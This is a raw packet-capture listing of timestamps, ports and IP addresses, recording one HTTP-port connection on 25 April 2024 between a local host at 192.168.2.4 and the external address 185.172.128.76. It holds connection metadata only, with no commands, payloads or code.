Apr 25, 2024 14:42:08.285203934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285233974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285238981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285274029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285280943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285315037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285316944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285352945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285360098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285392046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285397053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285430908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285438061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285470963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285476923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285511017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285514116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285548925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285552979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285588026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285592079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285625935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.285631895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.285669088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.325819969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.532223940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643627882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643671989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643686056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643740892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643758059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643784046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.643801928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643802881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.643817902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643867970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.643891096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643910885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643938065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643945932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.643950939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.643979073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.643991947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.700787067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.700859070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.700886011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.700901031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.700930119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.700939894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.700957060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.700994968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701031923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701069117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701071024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701103926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701169968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701205969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701225042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701244116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701246023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701281071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701296091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701320887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701333046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701359034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701394081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701409101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701420069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701432943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701446056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701447010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701461077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701493025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701503992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701554060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701570988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701608896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701633930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701647043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701658010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.701678038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701692104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.701699972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756112099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756138086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756153107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756166935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756181955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756206036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756222010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756232977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756266117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756275892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756314993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756320953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756359100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756385088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756423950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756423950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756457090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756463051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756494999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756505966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756547928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756566048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756606102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756639004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756674051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756685972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756701946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756710052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756728888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756737947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756759882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756772995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756786108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756800890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756817102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756863117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756876945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756906986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756931067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.756957054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.756963968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757008076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757011890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757025003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757047892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757064104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757096052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757123947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757137060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757139921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757162094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757172108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757201910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757244110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757282019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757294893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757307053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757325888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757344961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757348061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757385969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757389069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757414103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757426977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757452965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757453918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757483006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757494926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757496119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757524014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757528067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757534981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757543087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757570028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757577896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757582903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757627010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757651091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757663965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757688999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757703066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757707119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757750988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757811069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757853031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757853031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757865906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.757893085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.757903099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811515093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811532974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811583996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811614037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811629057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811660051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811681032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811686993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811719894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811732054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811744928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811768055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811781883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811794043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811809063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811836004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811846018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811857939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811871052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811913013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.811973095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.811999083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812007904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812032938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812046051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812047958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812084913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812114000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812143087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812156916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812158108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812185049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812196970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812217951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812257051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812318087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812345982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812356949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812371016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812381983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812410116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812422037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812460899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812494993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812532902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812566042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812593937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812608004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812628031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812629938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812644005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812655926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812668085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812686920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812699080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812741995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812755108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812767029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812777996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812791109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812803984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812814951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812838078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812855959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812876940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812915087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.812937021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.812978029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813003063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813015938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813026905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813044071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813051939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813052893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813071966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813107014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813108921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813124895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813132048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813157082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813168049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813198090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813235998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813250065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813288927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813318968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813330889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813354015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813366890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813375950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813390017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813415051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813432932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813433886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813446045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813471079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813481092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813494921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813509941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813535929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813544035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813565969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813602924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813620090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813633919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813659906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813671112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813687086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813699007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813723087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813738108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813745022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813782930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813810110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813837051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813848019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813860893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813877106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813905954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813908100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813921928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813946009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813956976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.813982010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.813993931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814018011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814022064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814034939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814054012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814079046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814120054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814127922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814138889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814168930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814188004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814219952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814258099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814263105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814302921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814340115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814352989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814378023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814388990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814414978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814454079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814466953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814505100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814532042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814549923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814562082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814574003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814590931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814608097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814625978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814639091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814662933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814665079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814675093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814703941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814784050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814826012 CEST	49731	80	192.168.2.4	185.172.128.76
